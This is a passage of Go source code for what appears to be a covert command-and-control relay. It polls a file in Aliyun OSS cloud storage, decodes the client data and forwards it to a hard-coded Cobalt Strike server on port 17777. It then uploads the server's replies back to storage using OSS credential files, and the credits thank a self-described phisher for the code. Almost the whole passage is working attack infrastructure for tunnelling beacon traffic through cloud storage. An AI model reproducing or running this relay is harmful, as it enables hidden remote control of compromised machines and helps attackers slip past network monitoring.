	filename = filepath.Base(filename)
	log.Println("filename=>",filename)
	configFilePath := filepath.Join(programDir, filename)
	log.Println("readUploadTokenFromFile,configFilePath=>",configFilePath)
	data, err := ioutil.ReadFile(configFilePath)
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
	}

	uploadData, err := parseUploadToken(data)
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
	}

	return uploadData, nil
}


func Send(name string, filename string, content string) {
	UploadData, err := readUploadTokenFromFile(name)
	if err != nil {
		fmt.Println("Error reading or parsing JSON from file:", err)
		return
	}

	_, err = uploadFile(UploadData, filename, content)
	
	if err != nil {
		log.Println("文件上传失败:", err)
		return
	}
}





func checkURLStatus(url string) bool {
	resp, err := http.Head(url)
	if err != nil {
		fmt.Printf("检查 URL 失败: %v\n", err)
		return false
	}
	defer resp.Body.Close()

	if resp.StatusCode == http.StatusOK {
		return true
	}
	fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
	return false
}

func waitForNextHalfHour() {
	now := time.Now()
	next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
	duration := next.Sub(now)

	fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
	time.Sleep(duration)
}

func downloadFile(filepath string, url string) error {
	resp, err := http.Get(url)
	if err != nil {
		return err
	}
	defer resp.Body.Close()

	out, err := os.Create(filepath)
	if err != nil {
		return err
	}
	defer out.Close()

	_, err = io.Copy(out, resp.Body)
	return err
}

func safeDownloadFile(filepath string, url string) error {
	tempFilepath := filepath + ".tmp"

	err := downloadFile(tempFilepath, url)
	if err != nil {
		return fmt.Errorf("下载失败: %w", err)
	}

	err = os.Rename(tempFilepath, filepath)
	if err != nil {
		return fmt.Errorf("替换文件失败: %w", err)
	}

	return nil
}

func timedownload() {
	execPath, err := os.Executable()
	if err != nil {
		fmt.Printf("获取程序路径失败: %v\n", err)
		return
	}
	execDir := filepath.Dir(execPath)

	filepath1 := filepath.Join(execDir, "Send-Client.json")
	filepath2 := filepath.Join(execDir, "Send-Server.json")
	
	url1 := "http://x.x.x.x:x/Send-Client.json"
	url2 := "http://x.x.x.x:x/Send-Server.json"
	
	fmt.Printf("检查文件1:%s\n", url1)
	if checkURLStatus(url1) {
		err = safeDownloadFile(filepath1, url1)
		if err != nil {
			fmt.Printf("下载失败: %v\n", err)
		} else {
			fmt.Println("下载成功")
		}
	} else {
		fmt.Println("URL不可用,跳过下载:", url1)
	}

	fmt.Printf("检查文件2:%s\n", url2)
	if checkURLStatus(url2) {
		err = safeDownloadFile(filepath2, url2)
		if err != nil {
			fmt.Printf("下载失败: %v\n", err)
		} else {
			fmt.Println("下载成功")
		}
	} else {
		fmt.Println("URL不可用,跳过下载:", url2)
	}

/*	for {
		waitForNextHalfHour()

		fmt.Printf("检查文件1:%s\n", url1)
		if checkURLStatus(url1) {
			err = safeDownloadFile(filepath1, url1)
			if err != nil {
				fmt.Printf("下载失败: %v\n", err)
			} else {
				fmt.Println("下载成功")
			}
		} else {
			fmt.Println("URL不可用,跳过下载:", url1)
		}

		fmt.Printf("检查文件2:%s\n", url2)
		if checkURLStatus(url2) {
			err = safeDownloadFile(filepath2, url2)
			if err != nil {
				fmt.Printf("下载失败: %v\n", err)
			} else {
				fmt.Println("下载成功")
			}
		} else {
			fmt.Println("URL不可用,跳过下载:", url2)
		}
	}*/

}

var fileLock sync.RWMutex // 定义一个文件锁
var taskQueue = make(chan string, 100) // 定义一个任务队列

func processQueue() {
	for task := range taskQueue {
		log.Println("[+]", "处理队列中的任务:", task)
		processServerWithLock(task) // 有序地处理任务
	}
}

func processServerWithLock(URLname string) {

	// 从name中提取UUID
	log.Println("[+]", "发现客户端")

	// 将Base64编码的数据解码
	sDec, err := base64.StdEncoding.DecodeString(string(URLname))
	if err != nil {
		log.Println("[-]", sDec, "Base64解码失败:", err)
		return
	}

	// 连接CS服务器
	conn, err := net.Dial("tcp", "x.x.x.x:17777") // 使用硬编码的CS服务器地址
	if err != nil {
		log.Println("[-]", conn, "连接CS服务器失败:", err)
		return
	}
	defer conn.Close()

	// 发送解码后的数据到CS服务器
	_, err = conn.Write(sDec)
	if err != nil {
		log.Println("[-]", "无法向CS服务器发送数据包:", err)
		return
	}

	// 设置读超时
	_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
	var buffer bytes.Buffer

	// 从CS服务器读取响应数据
	for {
		var buf [1]byte
		n, err := conn.Read(buf[:])
		if err != nil {
			log.Println("[-]", "从CS服务器读取数据失败:", err)
			break
		}
		buffer.Write(buf[:n])

		// 检查是否接收完毕
		if strings.Contains(buffer.String(), "\r\n\r\n") {
			// 处理Content-Length
			if strings.Contains(buffer.String(), "Content-Length") {
				ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
				log.Println("[+]", "数据包长度为:", strings.TrimSpace(ContentLength))

				// 继续读取指定长度的数据
				if strings.TrimSpace(ContentLength) != "0" {
					intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
					if err != nil {
						log.Println("[-]", "Content-Length转换失败:", err)
						break
					}

					for i := 1; i <= intContentLength; i++ {
						var b [1]byte
						n, err = conn.Read(b[:])
						if err != nil {
							log.Println("[-]", "从CS服务器读取数据失败:", err)
							break
						}
						buffer.Write(b[:n])
					}
				}
			}

			// 处理Chunked传输
			if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
				for {
					var b [1]byte
					n, err = conn.Read(b[:])
					if err != nil {
						log.Println("[-]", "读取Chunked数据失败:", err)
						break
					}
					buffer.Write(b[:n])
					if strings.Contains(buffer.String(), "0\r\n\r\n") {
						break
					}
				}
			}

			log.Println("[+]", "从CS服务器接受完毕")
			break
		}
	}

	// 将响应数据重新编码为Base64
	b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())

	Send("Send-Server.json", "server.zip", b64)
	log.Println("[+]", "服务器数据发送完毕")
	
	log.Println("文件上传完成,暂停30秒...")
	time.Sleep(30 * time.Second) // Pause for 30 seconds  


}


func checkFileChanges(currentContent string, server_address string) {
	// 加锁,防止与定时任务冲突
	log.Println("[+]", "尝试加锁以检测文件变化")
/*	fileLock.Lock()
	log.Println("[+]", "文件锁定成功,开始检查文件变化")
		defer func() {
		log.Println("[+]", "解锁文件")
		fileLock.Unlock()
	}()*/
		log.Println(currentContent)
		log.Println(previousContent)
//	if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {

		log.Println("[+]", "文件内容不一致,开始处理")
		previousContent = currentContent      // 更新存储的文件内容
		log.Println("currentContent:",currentContent)
		log.Println("previousContent:",previousContent)
		processServerWithLock(currentContent) // 处理客户端文件数据
/*	} else {
		log.Println("[+]", "文件内容一致,无需处理")
		
	}*/
}

func startServer(server_address string) {

	log.Println("[+]", "服务端启动成功")
	

	for {
		
		time.Sleep(6 * time.Second)

		// 获取 Send-Client.json 中的 URL
		clientURL,err := Getfile("Send-Client.json")
		
		log.Println("clientURL=>",clientURL)
		currentContent, err := fetchFileContent(clientURL)
		log.Println("currentContent=>",currentContent)
		if err != nil {
			log.Println("[-]", "获取客户端文件失败:", err)
			return
		}
		println("大小为%s", len(currentContent))

		checkFileChanges(currentContent, server_address)
		

	}
}


func main() {

	go timedownload()
	server_address := "x.x.x.x:17777"

	startServer(server_address)


}

涉及json文件
Send-Client.json

{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}

Send-Server.json

{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}

致谢:
主要代码提供者,钓鱼佬pant0m
其语雀链接:
https://www.yuque.com/pant0m

;